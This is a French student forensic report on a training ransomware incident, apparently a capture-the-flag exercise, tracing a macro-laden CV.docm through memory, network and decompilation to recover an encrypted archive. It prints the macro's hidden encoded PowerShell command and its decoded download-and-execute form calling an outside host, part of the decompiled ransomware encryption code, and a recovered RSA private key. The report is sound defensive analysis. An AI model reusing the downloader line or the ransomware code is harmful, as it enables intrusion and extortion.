

PROJET MALWARE 2024

Rédigé et audité par :
MESSAOUDI Ilyasse

Table des matières

Rappel du cadrage.....	3
Contexte.....	3
Chain of Custody.....	3
Acquisition	3
Préservation.....	3
Réalisation	4
IOC identifiées.....	4
Identifications des malwares.....	6
Malware du fichier CV	6
Malware du service svchost.exe	7
Plan d'actions correctives	9
Conclusion	12

Rappel du cadrage

Contexte

Vous venez tout juste d'être embauché en tant qu'analyste forensique dans le CERT ESDCorp, l'une des écoles dont vous surveillez les réseaux a été frappé par un Ransomware.

Selon la direction de l'école, un fichier critique permettant de renouveler la certification RNCP du diplôme a été chiffré !
En effet, depuis quelques jours les attaques de ransomware semblent cibler particulièrement les secteurs liés à l'éducation.

Le niveau de l'attaquant qui est présumé responsable de cette attaque semble assez faible et votre manager espère que l'attaquant aura fait des erreurs vous permettant de parvenir à déchiffrer les fichiers

Chain of Custody

Chain of Custody en investigation forensic est un processus qui assure l'intégrité et la traçabilité des preuves numériques de leur collecte à leur présentation.

Elle documente chaque manipulation des preuves, incluant qui les a collectées, quand, comment et où elles ont été stockées.
Ce processus est essentiel pour garantir l'admissibilité des preuves en justice et prévenir toute altération qui pourrait compromettre leur fiabilité.

Acquisition

L'acquisition des données implique la collecte d'informations de manière rigoureuse pour garantir qu'elles sont représentatives de la réalité sans modification

De ce fait, les données ont été fournies par l'équipe du CERT ESDCorp, garantissant leur intégrité et leur authenticité dès la source.

Préservation

Pour préserver les données, j'ai utilisé une machine virtuelle sous Kali Linux.

Cette configuration permet d'utiliser des outils spécialisés tels que Wireshark et Volatility. Pour garantir que les artefacts restent authentiques et non altérés, je vérifie la valeur du hash MD5.

Elément	HASH MD5
ZIP contenant les éléments ci-dessous (infected.zip)	0c11d4d6a6eaa801aca427caca8b8400
Dump mémoire (dump.raw)	7708f8b427f3f4399d76e4fbd5dfc7
secret.zip.encrypted (fichier chiffré)	db5c3c3b82e431bb16a3dc13facc82a2
Capture réseau (capture.pcapng)	2d63728280a0e4a95f46f68d21f3bdd9

Réalisation

IOC identifiées

IOC, Indicator of Compromise (=indicateur de compromission), est un indice ou un artefact utilisé pour détecter des signes de compromission dans un système informatique.

Cela peut être une signature viral, une adresse IP ou même un hash de fichier malveillant.

Informations du système à analyser

Nom de l'hôte:	WIN01
Nom du système d'exploitation:	Microsoft Windows 10 Professionnel
Version du système:	10.0.19045 N/A version 19045
Fabricant du système d'exploitation:	Microsoft Corporation
Configuration du système d'exploitation:	Station de travail membre
Type de version du système d'exploitation:	Multiprocessor Free
Propriétaire enregistré:	windows
Organisation enregistrée:	
Identificateur de produit:	00330-80000-00000-AA583
Date d'installation originale:	02/06/2022, 23:44:06
Heure de démarrage du système:	30/10/2022, 23:50:28
Fabricant du système:	innotek GmbH
Modèle du système:	VirtualBox
Type du système:	x64-based PC
Processeur(s):	1 processeur(s) installé(s). [01] : AMD64 Family 25 Model 33 Stepping 0
AuthenticAMD ~3793 MHz	
Version du BIOS:	innotek GmbH VirtualBox, 01/12/2006
Répertoire Windows:	C:\Windows

Étant donné que nous avons un dump d'une machine Windows et des informations sur le système, j'utilise l'outil Volatility pour obtenir un ensemble d'informations, à partir desquelles je peux extraire des IOC.

En examinant les processus présents dans le dump, j'ai identifié deux processus suspects.

Tout d'abord, le processus avec l'ID 4312, qui exécute WINWORD.EXE avec un fichier nommé CV.docm.

Le nom et l'extension du fichier suggèrent qu'il pourrait s'agir d'un processus illégitime, possiblement une macro malveillante fonctionnant en arrière-plan.

```

*** 4312 5002 WINWORD.EXE 0xd18e7a4180 33 - 1 True 2022-10-30 10:25:41.000000 UTC N/A \Device\HarddiskVolume2\Program Files (x86)\Microsoft Office\root\Office10\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\root\Office10\WINWORD.EXE" /N "C:\V
CV.docm" /o "" C:\Program Files (x86)\Microsoft Office\root\Office10\WINWORD.EXE
3120 7110 svchost.exe 0xd18e71462c0 4 - 1 False 2022-10-30 10:25:44.000000 UTC N/A \Device\HarddiskVolume2\Users\windows\AppData\Local\Temp\svchost.exe "C:\Users\windows\AppData\Local\Temp\svchost.exe" C:\Users\windows\AppData\Local\Temp\svchost
+ 8070 3120 svchost.exe 0xd18e71462c0 8 - 1 False 2022-10-30 10:25:44.000000 UTC N/A \Device\HarddiskVolume2\Users\windows\AppData\Local\Temp\svchost.exe "C:\Users\windows\AppData\Local\Temp\svchost.exe" C:\Users\windows\AppData\Local\Temp\svchost

```

Dans un second temps, le service nommé svchost.exe, qui semble légitime, est présent. Cependant, le fait que ce programme soit situé dans un chemin de destination semblant très suspect et indique une possible activité malveillante, c:\users\windows\appdata\local\temp\svchost.exe.

L'idée est simple : l'attaquant vise à masquer son attaque en usurpant le nom du processus légitime svchost.exe, qu'il utilise pour se faire passer pour un service essentiel du système.

Maintenant que nous savons qu'il est nécessaire de dumper le fichier nommé CV.docm, je vais le récupérer pour en extraire le code source.

Une fois cela fait, voici l'ensemble des chaînes de caractères extraites du processus associé à winword.exe.

```
Win32_ProcessStartup
winmgmts:root\cimv2:Win32_Process
powershell -w hidden -enc jABWAGEADABoAD9AJAB1AG4AdgAGAHQAbQBwACsAIgBcAHMAdgBjAGgAbwBzAHQALgB1AHgAZQA1ADsAIAAoAE4AZQB3AC9ATwB1AGoAZQBjAHQAIABOAGUAdAAuAFcAZQB1AEMAbABpAGUAbgB0ACKALgBEAG8AdwBuAGwAbwBhAGQARgBp
AGwAZQoACcABOAGUAcAAGACBAlwB1AHMAZABjAHkAYgB1AHIAcwB1AGMAdQByAGkAdABSAGEAYwBhAGQAZQB1AGkALgBmAHIALwBzAHYAYwBoAG
B1AFAAYQB0AGgAIAAIAHAAYQB0AGgA
Attribut
e VB_Nam
e = "New
```

La commande « powershell -w hidden -enc » attire mon attention, car elle indique la présence d'un payload encodé.

Il est facile de décoder ce payload en utilisant l'outil CyberChef pour retrouver la forme initiale du code.

The screenshot shows the CyberChef web interface. On the left, the 'Operations' sidebar has 'Decode text' selected. The 'Recipe' pane shows a 'From Base64' operation followed by a 'Decode text' operation with 'UTF-16LE (1200)' encoding. The 'Input' pane contains a long Base64 string. The 'Output' pane shows the decoded PowerShell command:

```
$path=$env:tmp+"svchost.exe"; (New-Object
Net.WebClient).DownloadFile('http://esdcybersecurityacademi.fr/svchost.exe',$path); Start-Process
-FilePath $path
```

En lien avec la capture Wireshark fournie lors de l'enquête, nous pouvons clairement observer la trace réseau correspondant à ce téléchargement. Cela confirme que le fichier malveillant svchost.exe a été récupéré depuis l'URL spécifiée.

No.	Time	Source	Destination	Protocol	Length	Info
6285	37.151030	192.168.1.230	192.168.1.4	HTTP	141	GET /svchost.exe HTTP/1.1
12101	37.183893	192.168.1.4	192.168.1.230	HTTP	1221	HTTP/1.0 200 OK (application/x-msdos-program)

Wireshark - Packet 6285 - capture.pcapng

```

Frame 6285: 141 bytes on wire (1128 bits), 141 bytes captured (1128 bits) on interface \Device\NPF_{B1AD6B1...}
Ethernet II, Src: PcsCompu_c3:09:44 (08:00:27:c3:09:44), Dst: PcsCompu_31:81:b6 (08:00:27:31:81:b6)
Internet Protocol Version 4, Src: 192.168.1.230, Dst: 192.168.1.4
Transmission Control Protocol, Src Port: 49852, Dst Port: 80, Seq: 1, Ack: 1, Len: 87
Hypertext Transfer Protocol
GET /svchost.exe HTTP/1.1\r\n
Host: esdcybersecurityacademi.fr\r\n
Connection: Keep-Alive\r\n
\r\n
[Full request URI: http://esdcybersecurityacademi.fr/svchost.exe]
[HTTP request 1/1]
[Response in frame: 12101]
```

Désormais, on comprend que le fichier CV.docm en cours d'exécution contient un code PowerShell encodé qui télécharge et exécute un fichier malveillant nommé svchost.exe.

En creusant dans les processus, svchost.exe pid 8076 charge une dll se nommant python.

```
kali@kali:~/Desktop/artefacts$ python3 ../volatility3/vol.py -f dump.raw windows.dlllist --pid 8076 | grep 'python'
8076resssvchost.exe 0x7ffe36010000an0x3c10001shed python37.dll C:\Users\windows\AppData\Local\Temp\_MEI31202\python37.dll 2022-10-30 16:25:44.000000 UTC Disabled
8076 svchost.exe 0x7ffe36a20000 0xf000 python3.DLL C:\Users\windows\AppData\Local\Temp\_MEI31202\python3.DLL 2022-10-30 16:25:44.000000 UTC Disabled
```

Identifications des malwares

Comme mentionné précédemment, nous avons identifié deux processus potentiellement malveillants.

Le premier est cv.docm, un downloader qui, lorsqu'il est ouvert, active une macro qui télécharge et exécute un fichier exécutable. Comme observé dans la capture Wireshark, le fichier téléchargé est svchost.exe.

Le second processus suspect est ce même svchost.exe, qui utilise la technique du Masquerading en usurpant un processus légitime, bien que ses actions soient malveillantes, utilisant notamment une dll illégitime se nommant python.

Malware du fichier CV

Après avoir effectué un dump du processus malveillant lié à cv.docm, j'ai récupéré le fichier cv.docm pour en extraire et comparer son hash sur la plateforme VirusTotal. Cela m'a permis d'évaluer la gravité du fichier et de déterminer sa nature malveillante.

```
kali@kali:~/Desktop$ ls cv/ | grep 'docm'
file.0xd10e5bd05bb0.0xd10e58feb750.DataSectionObject.CV.docm.dat
file.0xd10e5bd05bb0.0xd10e59d95260.SharedCacheMap.CV.docm.vacb

kali@kali:~/Desktop$ md5sum cv/file.0xd10e5bd05bb0.0xd10e58feb750.DataSectionObject.CV.docm.dat
5fd8f2b5f9a6f4cfff487bbc1ee5fdc3c cv/file.0xd10e5bd05bb0.0xd10e58feb750.DataSectionObject.CV.docm.dat
```

42 / 67

42/67 security vendors flagged this file as malicious

Reanalyze Similar More

0d0082216663d1e79e6fc46f73b5769917e6b8e8de9be3ae6d53bd32f0533dd

file.0xd10e5bd05bb0.0xd10e58feb750.DataSectionObject.CV.docm.dat

Size 196.00 KB Last Analysis Date a moment ago

docx auto-open hide-app macros powershell

Community Score

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 5

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Code insights

The macro defines an "AutoOpen" subroutine, which executes automatically upon document opening. It first sets a constant variable "HIDDEN_WINDOW" to 1. Subsequently, it obtains an object reference to the "Win32_ProcessStartup" WMI class. A new process is then created with the "ShowWindow" property set to "HIDDEN_WINDOW," indicating an attempt to conceal the process from the user. The created process is "powershell" with arguments indicating a script to be executed. The script itself is encoded with Base64 encoding.

Crowdsourced AI

Hispasec flags this file as malicious

The macro code provided exhibits several signs of malicious intent:

Show more

Popular threat label downloader.emodldr/powershell Threat categories downloader trojan Family labels emodldr powershell leonem

<https://www.virustotal.com/gui/file/0d0082216663d1e79e6fc46f73b5769917e6b8e8de9be3ae6d53bd32f0533dd>

TTP CV.docm

Avec l'outil MITRE ATT&CK Navigator on peut créer notre contexte, ici un exemple pour le malware cv.docm.

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Active Scanning	Acquire Access	Content Injection	Cloud Administration Command	Account Manipulation	Abuse Elevation Control Mechanism	Access Token Manipulation	Adversary in the Middle	Account Discovery	Exploitation of Remote Services	Adversary in the Middle	Application Layer Protocol	Automated Exfiltration	Account Access Removal
Gain Victim Host Information	Acquire Infrastructure	Drive-by Compromise	Command and Scripting Interpreter	BITS Jobs	Access Taken Manipulation	Access Token Manipulation	Base Eject	Application Windows Discovery	Internal Spearfishing	Application Collected Data	Communication Through Removable Media	Data Transfer Size Limits	Data Destruction
Gain Victim Identity Information	Compromise Accounts	External Remote Services	Container Administration Command	Boot or Logon Initialization Scripts	Account Manipulation	Build Image on Host	Exploitation for Credential Access	Cloud Infrastructure Discovery	Remote Service Session Hijacking	Audio Capture	Content Injection	Infiltration Over Alternative Protocol	Data Encrypted for Impact
Gain Victim Network Information	Compromise Infrastructure	Hardware Address	Deployment Container	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Debugger Session	Exploitation for Credential Access	Cloud Service Dashboard	Remote Services	Automated Collection	Data Encoding	Defacement	
Further Victim Org Information	Develop Capabilities	Phishing	Execution for Client Detection	Compromised Host Software Binary	Build or Logon Initialization Scripts	Debugger Session	Exploitation for Credential Access	Cloud Storage Object Discovery	Application Through Removable Media	Browser Session Hijacking	Data Utilization	Defacement	
Planning for Information	Establish Accounts	Replication Through Removable Media	Inter-Process Communication	Compromised Host Software Binary	Build or Logon Initialization Scripts	Debugger Session	Exploitation for Credential Access	Cloud Storage Object Discovery	Application Through Removable Media	Browser Session Hijacking	Data Utilization	Defacement	
Search Cloud Sources	Obtain Capabilities	Supply Chain Compromise	Native API	Compromised Host Software Binary	Build or Logon Initialization Scripts	Debugger Session	Exploitation for Credential Access	Cloud Storage Object Discovery	Application Through Removable Media	Browser Session Hijacking	Data Utilization	Defacement	
Search Open Technical Databases	Stage Capabilities	Trust Relationship	Scheduled Task/Job	Compromised Host Software Binary	Build or Logon Initialization Scripts	Debugger Session	Exploitation for Credential Access	Cloud Storage Object Discovery	Application Through Removable Media	Browser Session Hijacking	Data Utilization	Defacement	
Search Open Websites/Domain		Valid Accounts	Services Execution	Compromised Host Software Binary	Build or Logon Initialization Scripts	Debugger Session	Exploitation for Credential Access	Cloud Storage Object Discovery	Application Through Removable Media	Browser Session Hijacking	Data Utilization	Defacement	
Search Victim Owned Hardware		Shared Modules	Software Deployment Tools	Compromised Host Software Binary	Build or Logon Initialization Scripts	Debugger Session	Exploitation for Credential Access	Cloud Storage Object Discovery	Application Through Removable Media	Browser Session Hijacking	Data Utilization	Defacement	
		System Services	User Interaction	Compromised Host Software Binary	Build or Logon Initialization Scripts	Debugger Session	Exploitation for Credential Access	Cloud Storage Object Discovery	Application Through Removable Media	Browser Session Hijacking	Data Utilization	Defacement	
		Windows Management Instrumentation	Windows Management Instrumentation	Compromised Host Software Binary	Build or Logon Initialization Scripts	Debugger Session	Exploitation for Credential Access	Cloud Storage Object Discovery	Application Through Removable Media	Browser Session Hijacking	Data Utilization	Defacement	

Cette analyse permet d'améliorer la détection des menaces en utilisant les techniques MITRE ATT&CK.

En utilisant ce cadre comme référence, les investigateurs, comme nous, peuvent améliorer leur posture de sécurité en se concentrant sur les techniques les plus pertinentes pour leurs environnements et en proposant des stratégies de réponse ciblées aux clients.

Malware du service svchost.exe

Pour analyser la potentielle malveillance, comme avec le fichier précédent, je vais extraire le fichier svchost.exe, récupérer son hash, et le vérifier sur VirusTotal.

Wireshark - Export - HTTP object list

No.	Time	Source	Destination	Protocol	Length	Info
12101	37.151030	192.168.1.1	192.168.1.1	HTTP	8188	200 OK

Text Filter: Content Type: All Content-Types

Packet	Hostname	Content Type	Size	Filename
12101	esdcybersecurityacademi.fr	application/x-msdos-program	8,188 kB	svchost.exe

Frame 12101: 1221 bytes on wire (9768 bits) captured (1221 bytes) over Ethernet II, Src: PcsComp, Dst: 192.168.1.1, Encapsulated: Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192.168.1.1, Length: 1221, Total Length: 1207, Identification: 0x9ed0


```
kali@kali:~/Desktop/artefacts$ md5sum svchost.exe
9b0ba3738c994d5850d97077d578d3bc  svchost.exe
```

48
/ 75

Community Score

48/75 security vendors flagged this file as malicious

Reanalyze Similar More

437e0d18e60998bd0236dd5da5637a90ec3b6887f1eb25e6557a2354dc96404b

svchost (copie 1).exe

Size 7.81 MB

Last Analysis Date 18 days ago

EXE

peexe overlay 64bits checks-network-adapters detect-debug-environment

DETECTION

DETAILS

RELATIONS

BEHAVIOR

COMMUNITY 3

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label Trojan.python/filerep malware

Threat categories trojan ransomware pua

Family labels python filerep malware misc

Security vendors' analysis

Do you want to automate checks?

Alibaba

Trojan:Win32/Filecoder.c732dc9a

ALYac

Trojan.GenericKD.67193031

<https://www.virustotal.com/gui/file/437e0d18e60998bd0236dd5da5637a90ec3b6887f1eb25e6557a2354dc96404b>

TTP de svchost.exe

Comme précédemment, voici une visualisation avec MITRE ATT&CK qui offre une vue détaillée des différentes attaques et techniques associées à cet exécutable.

Reconnaissance 10 techniques	Resource Development 8 techniques	Initial Access 10 techniques	Execution 14 techniques	Persistence 20 techniques	Privilege Escalation 14 techniques	Defense Evasion 43 techniques	Credential Access 17 techniques	Discovery 32 techniques	Lateral Movement 9 techniques	Collection 17 techniques	Communications Control 18 techniques	Exfiltration 9 techniques	Impact 14 techniques
Active Scanning	Acquire Access	Content Injection	Cloud Administration Command	Account Manipulation	Abuse Elevation Control Mechanism	Abuse Elevation Control Mechanism	Adversary in-the-Middle	Account Discovery	Exploitation of Remote Services	Adversary in-the-Middle	Application Layer Protocol	Automated Exfiltration	Account Access Removal
Gather Victim Host Information	Acquire Infrastructure	Drive-by-Compromise	Command and Scripting Interpreter	BITS Jobs	Access Token Manipulation	Access Token Manipulation	Brute Force	Application Window Discovery	Internal Spearphishing	Active Collected Data	Communication Through Removable Media	Data Transfer Size Limits	Data Destruction
Gather Victim Identity Information	Compromise Accounts	Exploit Public-Facing Application	Container Administration Command	Boot or Logon Autostart Execution	Account Manipulation	BITS Jobs	Credentials from Password Stores	Cloud Infrastructure Discovery	Lateral Tool Transfer	Automated Collection	Content Injection	Data Manipulation	Data Encrypted for Impact
Gather Victim Network Information	Compromise Infrastructure	External Remote Services	Container Initialization Scripts	Boot or Logon Autostart Execution	Account Manipulation	Debugger Evasion	Exploitation for Credential Access	Cloud Service Dashboard	Remote Service Session Hijacking	Browser Session Hijacking	Data Encoding	Defacement	Data Manipulation
Gather Victim Org Information	Develop Capabilities	Hardware Additions	Deploy Container	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Decompilate/Decode Files or Information	Forced Authentication	Cloud Storage Object Discovery	Replication Through Removable Media	Clipboard Data	Dynamic Resolution	Endpoint Denial of Service	Financial Theft
Phishing for Information	Establish Accounts	Phishing	Exploitation for Client Execution	Browser Extensions	Boot or Logon Initialization Scripts	Domain or Tenant Policy Modification	Forge Web Credentials	Container and Resource Discovery	Software Deployment Tools	Data from Cloud Storage	Encrypted Channel	Exfiltration Over Physical Medium	Firmware Corruption
Search Closed Sources	Obtain Capabilities	Replication Through Removable Media	Inter-Process Communication	Create Account	Create or Modify System Process	Execution Guardrails	Input Capture	Debugger Evasion	Taint Shared Content	Data from Configuration Repository	Fallback Channels	Inhibit System Recovery	Network Denial of Service
Search Open Technical Databases	Stage Capabilities	Supply Chain Compromise	Scheduled Task/Job	Create or Modify System Process	Domain or Tenant Policy Modification	Exploitation for Defense Evasion	Multi-Factor Authentication Interception	Device Driver Discovery	Use Alternate Authentication Material	Data from Information Repositories	Ingress Tool Transfer	Resource Hijacking	Service Stop
Search Open Websites Domains	Valid Accounts	Trusted Relationship	Serverless Execution	Event Triggered Execution	Domain or Tenant Policy Modification	File and Directory Permissions Modification	Network Sniffing	Domain Trust Discovery	Log Enumeration	Data from Local System	Non-Application Layer Protocol	Scheduled Transfer	System Shutdown/Reboot
Search Victim-Owned Websites	Shared Modules	Valid Accounts	Software Deployment Tools	External Remote Services	Event Triggered Execution	Hide Artifacts	OS Credential Dumping	Group Policy Discovery	Network Service Discovery	Data from Network Shared Drive	Non-Standard Port	Service Stop	System Shutdown/Reboot
			System Services	Hijack Execution Flow	Exploitation for Privilege Escalation	Impersonation	Steal Application Access Token	Network Sniffing	Network Share Discovery	Data from Removable Media	Protocol Tunneling	Service Stop	System Shutdown/Reboot
			User Execution	Implant Internal Image	Hijack Execution Flow	Indicator Removal	Steal or Forge Authentication Certificates	Network Sniffing	Network Share Discovery	Data from Removable Media	Proxy	Service Stop	System Shutdown/Reboot
			Windows Management Instrumentation	Modify Authentication Process	Process Injection	Indirect Command Execution	Steal or Forge Kerberos Tickets	Peripheral Device Discovery	Permission Groups Discovery	Email Collection	Remote Access Software	Service Stop	System Shutdown/Reboot
				Office Application Startup	Scheduled Task/Job	Masquerading	Unsecured Credentials	Process Discovery	Query Registry	Input Capture	Traffic Signaling	Service Stop	System Shutdown/Reboot
				Power Settings	Valid Accounts	Modify Cloud Compute Infrastructure	Unsecured Credentials	Remote System Discovery	Software Discovery	Screen Capture	Web Service	Service Stop	System Shutdown/Reboot
				Pre-OS Boot	Valid Accounts	Modify Registry	Unsecured Credentials	System Information Discovery	System Location Discovery	Video Capture			
				Scheduled Task/Job	Valid Accounts	Modify System Image	Unsecured Credentials	System Network Configuration Discovery	System Network Connections Discovery				
				Server Software Component	Valid Accounts	Network Boundary Bridging	Unsecured Credentials	System Owner/User Discovery	System Service Discovery				
				Traffic Signaling	Valid Accounts	Obfuscated Files or Information	Unsecured Credentials	System Time Discovery	Virtualization/Sandbox Evasion				
					Valid Accounts	Plist File Modification	Unsecured Credentials						
					Valid Accounts	Pre-OS Boot	Unsecured Credentials						
					Valid Accounts	Process Injection	Unsecured Credentials						
					Valid Accounts	Reflective Code Loading	Unsecured Credentials						
					Valid Accounts	Rogue Domain Controller	Unsecured Credentials						

Plan d'actions correctives

Maintenant que nous avons identifié le script Python comme responsable du ransomware et l'avons extrait du dump.

Je peux utiliser l'outil pyinstxtractor pour décompiler l'exécutable .exe, afin d'obtenir le code source.

Cela me permettra d'entamer un travail de reverse engineering et peut-être de découvrir la clé de déchiffrement pour tous les fichiers locks.

```
(kali@kali)-[~/Desktop/artefacts]
$ python3 ../test/pyinstxtractor/pyinstxtractor.py svchost.exe
[+] Processing svchost.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.7
[+] Length of package: 7867311 bytes
[+] Found 38 files in CArchive
[+] Beginning extraction... please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: encrypt.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.7 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: svchost.exe

You can now use a python decompiler on the pyc files within the extracted directory
```

Voici le code source complet du ransomware.

En examinant de plus près nous voyons que le ransomware, par son essence possède une clé privée et clé publique.

Je vais maintenant rechercher toutes les occurrences potentielles dans le dump à la recherche éventuelle d'une clé laissée en clair sur la machine.

```
(kali@kali)-[~/Desktop/artefacts/svchost.exe_extracted]
$ /home/kali/.local/bin/uncompyle6 encrypt.pyc
# uncompyle6 version 3.9.2
# Python bytecode version base 3.7.0 (3394)
# Decompiled from: Python 3.11.4 (main, Jun 7 2023, 10:13:09) [GCC 12.2.0]
# Embedded file name: ransomware\encrypt.py
from os import path, walk, rename
import cryptography
from cryptography.fernet import Fernet
import requests
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import utils, padding
import base64, time

def generate_secret_key():
    key = Fernet.generate_key()
    return key

def encrypt_secret_key(public_key, secret_key):
    public_key_bytes = serialization.load_pem_public_key(public_key.encode())
    encrypted_secret_key = public_key_bytes.encrypt(secret_key, padding.OAEP(mgf=padding.MGF1(algorithm=(hashes.SHA256()))),
    algorithm=(hashes.SHA256()),
    label=None))
    encrypted_secret_key = base64.b64encode(encrypted_secret_key)
    return encrypted_secret_key

def encrypt_file(file, public_key):
    errors = []
    key = generate_secret_key()
    encrypted_secret_key = encrypt_secret_key(public_key, key)
    f = Fernet(key)
```

Bingo ! En cherchant dans le dump, nous avons trouvé une clé privée. Il est maintenant nécessaire de la faire correspondre avec la clé publique pour récupérer le mot de passe du fichier zip.

```
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAyH5WquT1lubJInFX8PHeUztSpYW02f3Qe7VkgEjFPBu4k43r
JbZqzo83laJMPPrLSbUYm+PHolwnf01+dCYtW7TqVWYMZf9NYmNxnA/s+CmB/hyEy
abbvfpz0Acp0Pv/xhX4qPSnvHPX20lF/7Nm3XpmgcNtAopFDQzJP6WCFWxmP5qWV
wy9z2f5b3Js5AyZu0aPSADXTloaAcAsUHLsHz3lVRUOGXVj7uVJdCxypAOraZWej
Sqa3qIv6r0cfaLG585z2zhY10fuvIUXwp7jhcaA+DzYvEIrd/csgyUdpxNnkJl0
q1mPqC15/h6fOWUXTi81jzYID7shFgaAcLmoWQIDAQABAoIBAGNbRjzU8SXSgdt5
OuDuI7+wdtEDIltCLnaX2lG+iy4w+KPa4SyjvUNW8u9K6ijqGmC/sqGM1DxBTqiQ
RfTMYgwXC5s73j+b31yFYOG2uLSQxLIVD/QWjZH7qBV4HGp6ENkcQFdm0EX2VFY+
wDwCWp5dWiaFCP9nKG0dA7/+LqgJXmI5DSIXKkBo16RGLpMgDsfwSxf4Y8k4RXIc
e1lThFtYOPzznifqzJcQfsB91Yh9ncf5F8/NiCRE2gT6NYVGjr96/cKJl4lan5uZ
96jq7uSgCe0wumLDYXztamhNkbn+qPzFwQR0AHBGP0B5CFKVerTjXleHKpT/jEoI
i13yGz8CgYEA1DzjLdhN8rkt96mHr/XaqqS1DrFpDgSWXwa0WHO7KBLhsFfXFQhe
8KVWzNrGRDwY/wRLBdPj4bZaaGDz+J4wwgcXVPTHcp6Tpjcm/rMMxiANB2QYZUdf
DqU94QnYwaFpo+GllXU/LyY0504iMFKNhTsdRwbKiSiaBw3+LJP1218CgYEA8dWE
2YBhmQDdFTaU19Jz9JLHwrnz/hHyiYrnuDUAc2aIEK5Cjp2upnonSD18CJIJUqLHn
Obmb3Jq0BcrEHib6t4lI7pt0roXu+0GsF7GUp3iJxyaQpLcV10gFDb3BxE0udqU
MwzDRAXqg9akuUBZHbNvikFjJMckvrmLw13Yz0cCgYBXqVJ4NBh2AbCP09D8h8Kq
qt8x02s94/0sALvqs4nNkobvbeilLD8eojtxAsUfRNGLvYC13bc5NB+5GphcVD
zuP/Lh9XI1J+29baaqADEWfwPpKo+mKzz0KTGZsS1xWoH+JhggzP75tFSWqLpP1Z
I0KtxYAwRgqUEV6DkRWCZwKBgB+nNOZLGW3d96opJL5C+45tj9v6/uaobrh2B9wC
IkSSIj2ZhVio82Ce5XHBm8Qvkukpr/wsQsXUy29epODWdNmQPH00wWz+dtNI003T
bo0LEVORxqkeMoWJg0/VgIF61tSYuYEdEIncxF9RPupIc+GhVN4hxNpQpL+aCQpT
REeNaOGASY2N0lB8kwxWnubor1fgFvjWNLCLOftlLE/PDuKPbnRM/AGHbNrLjj9V
HhpoY3C6w6KpeUabcZNugXPQG8Rc04QTPxASX59Px65RLRHaoEL63aHNI878D8tv
cKfZdTtVfgzUffP9IdgXhIRQtxttZMV2NBgiukYZutIQ0RYsbG8=
-----END RSA PRIVATE KEY-----
WpS4g8Ekd
zXb,W8
cgy;{
string.txt
/BEGIN RSA
```

Comme l'indique le code, une ligne esd_issou_esd est inscrite juste avant la clé de chiffrement publique, qui ici est encodé en base64.

Désormais il nous reste plus qu'à faire correspondre avec la clé privée afin de récupérer le secret nécessaire au déchiffrement de l'archive.

```
dmyWSfKoVm9XYwdjaJg0ZtaxaL8lDZqZDgV6YDG4LT2YHPISR07uRUnbMWDpY2sZ6_Bx4020ITbr84Z0bfh6fUAkn77f1gET6MkVA-VW6QnUGFoR9u4wReRn-11uEXg==esd_issou_esdoXvpZ8jzYl5Bf
2WJpJpBSm56Q61eFIWj+TiZadpneEl7xc3Xpo3+ws2uorJo/5sUrvl540Znt31jHz/r0FCxQerlpzUdzke/Ay/aMyg8LdW0I/4982MDZK5xYBS8DLw434FS1i73UskL1293xTDM7Kkz0Pu3tC3GQk6kR0J
xTwF3hckuD82TaewwrHuW+TvPc9oQ1sRCaSprM2DfC2MKo2jX/t0XmEZeQmZS9Q/sItvFYVm6BgFOVEwB7afXGEjiZn4cq2JuoloFTgps4Dykf9ud0sE+Z9Qmf/BkD8lF5B2tZEUGqkzTYYuU1hMiG047y0
95PU70eHL8/q9xSYBbg==
```

Une fois de plus, en utilisant l'outil CyberChef, nous avons pu extraire le secret dans la zone de sortie.

The screenshot shows the CyberChef interface with the following components:

- Operations:** A list of operations including 'from base', 'From Base', 'From Base32', 'From Base45', 'From Base58', 'From Base62', 'From Base64', 'From Base85', 'From Base92', 'Favourites', 'Data format', 'Encryption / Encoding', and 'Public Key'.
- Recipe:** A green box containing the 'RSA Decrypt' recipe. It includes a checkbox for 'Remove non-alphabet chars' (checked) and 'Strict mode' (unchecked). The recipe details show an RSA Private Key (PEM) being used for decryption.
- Input:** A text area containing a long base64-encoded string.
- Output:** A text area showing the result of the decryption, which is a base64-encoded string: 'qJ5skIqm8tfpGCChWA_50jK2abw4haz1QLJ-qEce1_8='.

Grâce à un script, nous avons pu déchiffrer l'archive et accéder à toutes les ressources qu'elle contenait.

```

GNU nano 7.2 script.py
from cryptography.fernet import Fernet

with open('key.txt', 'rb') as key_file:
    key = key_file.read().strip()

chiffre = Fernet(key)

with open('secret.zip.encrypted', 'rb') as encr_file:
    encrypted_data = encr_file.read()

try:
    decrypted_data = chiffre.decrypt(encrypted_data)
    with open('secret.zip', 'wb') as decrypted_file:
        decrypted_file.write(decrypted_data)
    print("OK")
except Exception as e:
    print(f"Erreur {e}")

```

```

(kali@kali)-[~/Desktop/artefacts]
$ python3 script.py
OK

(kali@kali)-[~/Desktop/artefacts]
$ unzip secret.zip
Archive: secret.zip
replace flag.png? [y]es, [n]o, [A]ll, [N]one, [r]ename: A
  inflating: flag.png
  inflating: photo_importante.png

```


Conclusion

Deux flags s'y trouvaient, marquant la conclusion de l'investigation.



